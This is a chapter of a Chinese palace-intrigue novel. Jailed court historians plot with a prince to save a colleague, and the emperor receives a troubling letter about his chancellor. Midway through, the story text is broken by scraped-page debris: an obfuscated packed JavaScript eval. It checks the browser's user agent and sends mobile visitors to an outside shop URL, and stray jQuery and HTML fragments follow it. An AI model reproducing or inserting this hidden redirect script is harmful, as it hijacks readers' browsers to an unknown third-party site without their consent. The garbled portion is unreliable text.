“别去了,北寺狱的邓凝已经自招了。”
宋宸拿过那封信,塞入袖中,对还有些不明所以的侍卫道:“送信的事保密,烂在肚子里,不然小心了你的舌头。”
“江全,走。”
刑部的大牢里,柳如蓁和许博坐在角落里搓着手,焦急等待着消息。
大牢的过道上传来又急又重的脚步声,柳如蓁和许博互相看了一眼,起身往铁栏杆那边靠。
送信的侍卫就算是跑着去跑着回的,也不可能这么快。柳如蓁正低头想着,来人是谁时,宋宸早已站在铁栏前,也低着头,看着她。
“柳如蓁。”
许博扯了扯柳如蓁的袖子,她才反应过来,抬头一看,熟悉的面容映入眼帘,明明前几日才见过面,可如今一人在牢狱之中,一人站在牢狱之外俯视着她,恍惚间,竟有些如梦似幻的感觉。
“宋宸……”
宋宸捏紧手中书信,冷声开口:“你写的?给邓凝?”
按理来说是她和许博商量着写的,所以两人都点了点头,不过宋宸似乎只看到了柳如蓁点头的动作。
柳如蓁看向他手上的书信,吃惊道:“怎么会在你这里?”
宋宸没有回答她的话,而是继续问。
“你要把罪全揽自己身上?”
两人点点头,又摇摇头。
其实柳如蓁和许博的计划是假装告诉邓凝他们已经脱离了危险,让邓凝咬死都别说是他将卷宗上的东西誊抄给他们的,然后他们再去用卷宗上的东西和借史官身份去逼皇帝一把,把这件事不了了之,便是最好的结果。
默了默,宋宸又道:“不愧是青梅竹马,想法都一个样。”
柳如蓁蹙眉:“什么意思?”
许博也疑惑:“什么意思?”
江全在一旁,小声道:“来不及了,邓大人已经认了。”
“他认了!”柳如蓁猛地抓向铁栏杆:“放我出去,我要去见皇帝!”
宋宸也一把抓住铁栏杆。
“见皇帝有什么用?柳如蓁,你真得天真的以为你们能逼迫他?你们用什么来比他?那些卷宗上的内容吗?我告诉你,都不用到明日,那些卷宗就会消失在这世界上,包括见过卷宗的人,除了老皇帝信任的人,全都会消失,你们拿什么逼他?用命吗?”
两人都被他这么大声一哄,清醒了许多。他们还是太低估皇帝的狠辣了。
宋宸稍微缓了缓,慢慢道:“如今前朝局势很复杂,司马徽被禁足,高婕妤小产,谢新允之死……这些事牵系者众多,且都有着斩不断的关系。”
“你们这些史官,在皇帝眼里,已经背叛过他一次了,可舆论不断,他不好对你们做什么,也希望你柳如蓁能够替他继续修史。现在邓凝又被关起来了,你猜,他接下来会怎么做?”
柳如蓁和许博立马会意,全身一冷,脸色煞白。许博颤抖地开口:“他要用邓凝的命来逼我们……”
有把柄在皇帝手中,局势一下便毫无逆转的可能了。
皇帝能用柳如蓁的亲人去逼迫她,自然也能用邓凝去逼与他相熟的柳如蓁和许博。史馆中,两位史官都成了她皇帝一人的喉舌,而不是历史的喉舌,这才是当朝天子想看到的局面。
许博双眼朦胧,扯着柳如蓁的衣袖:“姑娘,姑娘,我们该怎么办……”
柳如蓁神思恍惚地看了许博一眼,又抬眼,眼神幽幽看向宋宸。
“宋宸,看在我作为臣子,在竹林那次护了你周全,也算是对皇家有功,能否帮我一个忙?”
宋宸迎上她的目光:“帮你们出去?放心,我……”
柳如蓁打断道:“不是这个。”
宋宸缓缓蹲下,直视柳如蓁,不解道:“那你想做什么?”
“我想让你帮我去逼邓凝……”
宋宸反笑一声:“逼他?你舍得?”
“逼他,然后再去救他。”
许博反应过来:“姑娘是想说,逼邓凝把罪全认,让圣上治罪于他,让他获死罪,然后再让九殿下去杀他实则救他。”
柳如蓁想了想:“可是现在邓凝已经被刑部人抓走了,若是他真得把罪全认完,也轮不到宋宸来处罚他。除非邓凝逃狱,宋宸你去追杀他……”
宋宸看向她,眼神淡淡,想着她接下来会说些什么,会提什么要求。
柳如蓁自然地避开他的目光,转向许博。
许博摸着下巴,若有所思地点点头:“虽然危险了些,但能让邓大人逃离圣上的掌控也能保全自身。”说罢,许博看向他,满眼诚恳:“殿下,我虽然不是什么高官,但好歹也是打拼了大半辈子,钱财什么的还是有的,殿下若能救邓凝一次……”
没等他说完,宋宸便倏忽起身,还未等几人反应过来便离开了。
许博担心对柳如蓁道:“殿下是不愿意吗?”
柳如蓁摇摇头,她也不知道。本来宋宸就没有义务要去救邓凝,而且此事真要谋划起来也是复杂危险的,他不愿意,谁也不能强求,那他们也只好另寻出路。
“小的去问问。”
说罢,江全起身去追宋宸,片刻后,回来对他们道:“殿下说此事不易,还得慢慢来,让你们别担心。”
两人听到江全这么说,都没想到宋宸能答应的那么爽快,怔愣了半晌,柳如蓁才对江全道:“劳烦同他说一句,多谢了,这次是我欠他的。”
*
钦安宫内,李全将沏好的茶小心翼翼端到桌上,口内含笑:“圣上喝口热茶润润嗓子吧。”
皇帝没有搭理他,翻着折子。李全也不敢多言,近来发生了这么多事,圣上怕是心烦意乱,多言容易说错,错了容易掉脑袋,于是他便闭了嘴默默的去挑灯芯。
屋里头亮了些,门外有小太监来报:“圣上,皇后娘娘来了,在门口候着呢。”
座上君王想都没想,便摆了摆手。小太监会了意,走了出去,见皇后还等在殿门口,有些不忍:“娘娘,圣上近来多事……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687147|144334||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
皇后打断他:“不必说了。本宫这就走。”
皇帝恐怕也是已经知道了自己来是为史官们求情,所以选择闭门不见,如此再纠缠下去也是无用功。和他夫妻这么多年了,她也知道他是什么性情。
不料,正欲转身离去时,李全的声音却在后边响起:“娘娘留步。”
进了殿中,皇后将屋里的宫人屏退后拿起桌上的墨块替皇帝研起墨来。
皇帝知皇后的来意,也没有与她扯闲话,直直道:“史馆的史官还剩高晋和华致远,两个都是老臣了,高晋又是高婕妤的父亲,华致远背后的华家是京里的大族,他们没做什么对不起朕的事,朕自然不会对他们做什么。”
“至于柳如蓁和许博他们……”
皇帝笔尖一顿,将毛笔搁在一旁。皇后的心跟着一动,等待着他的答案。
只听他沉着声道:“他们不会在牢狱里待太久的,朕自有用处。不过这柳如蓁,朕没想到,她竟有如此大的能耐,把朕儿子的魂都给勾走了。皇后说,这种人,该不该留呢?”
皇后知皇帝在探她的态度,而不是询问意见。想了想,将手中的墨块放下,轻声对皇帝道:“圣上,如蓁姑娘聪慧貌美,对宸儿有救命之恩,又尽心尽力为皇家做事,宸儿对这样的女子心动,再正常不过了。”
“哦?”皇帝挑眉,存疑开口:“尽心尽力?近来发生这么多事,朕倒是觉得她未必对朕,对皇家忠心耿耿。”
皇后欲言,却被皇帝抬手打断。
“卷宗之事,刑部那边的人还在审,皇后不必再多言。”
这时,李全轻着手脚从屋外走来,低着头细声道:“圣上,是,是司马大人托人送来的一封书信,说是与罗宰相有关的,所以请圣上务必瞧上一眼。”
“与罗正相关?他又想做什么?”嘴上虽如此说着,但仍旧是接过信来,拆开了信封。将信读完后,皇帝的面色十分难看,犹有一股黑气萦绕在他的面庞上。
皇后心中担忧,可是又不敢开口去问信上的内容,指的拐着弯说,让皇帝当心些,别气坏了身子。
皇帝沉着声,吩咐李全道:“派人去通知罗正,让他三日后必须给朕上朝,找什么理由都无用,必须给朕来,朝堂之上见不到他宰相的身影,就让文武百官一直等,等他一人。”
*
与此同时,贤妃也收到了司马徽的来信。
哥哥被禁足,她这几日来,心忧成疾,此时卧病在床,披头散发的,当听到是司马徽送来的书信后,使劲了全身的力气,爬起身来二话不说接过书信。
如今的这封书信,真是比黄金万两还要重要。
贤妃颤抖着手,将手中的书信细细读完,随即发出一阵笑声,嘴里不断喃喃着:“司马家长盛不衰……罗正你真是自作自受啊……”
天空又飘起了大雪,狱中冰冷,墙壁的上方有一个小窗户,寒风携雪灌入狭小又湿冷的牢狱中,柳如蓁和许博都缩在角落里,袖中的手,止不住的颤抖。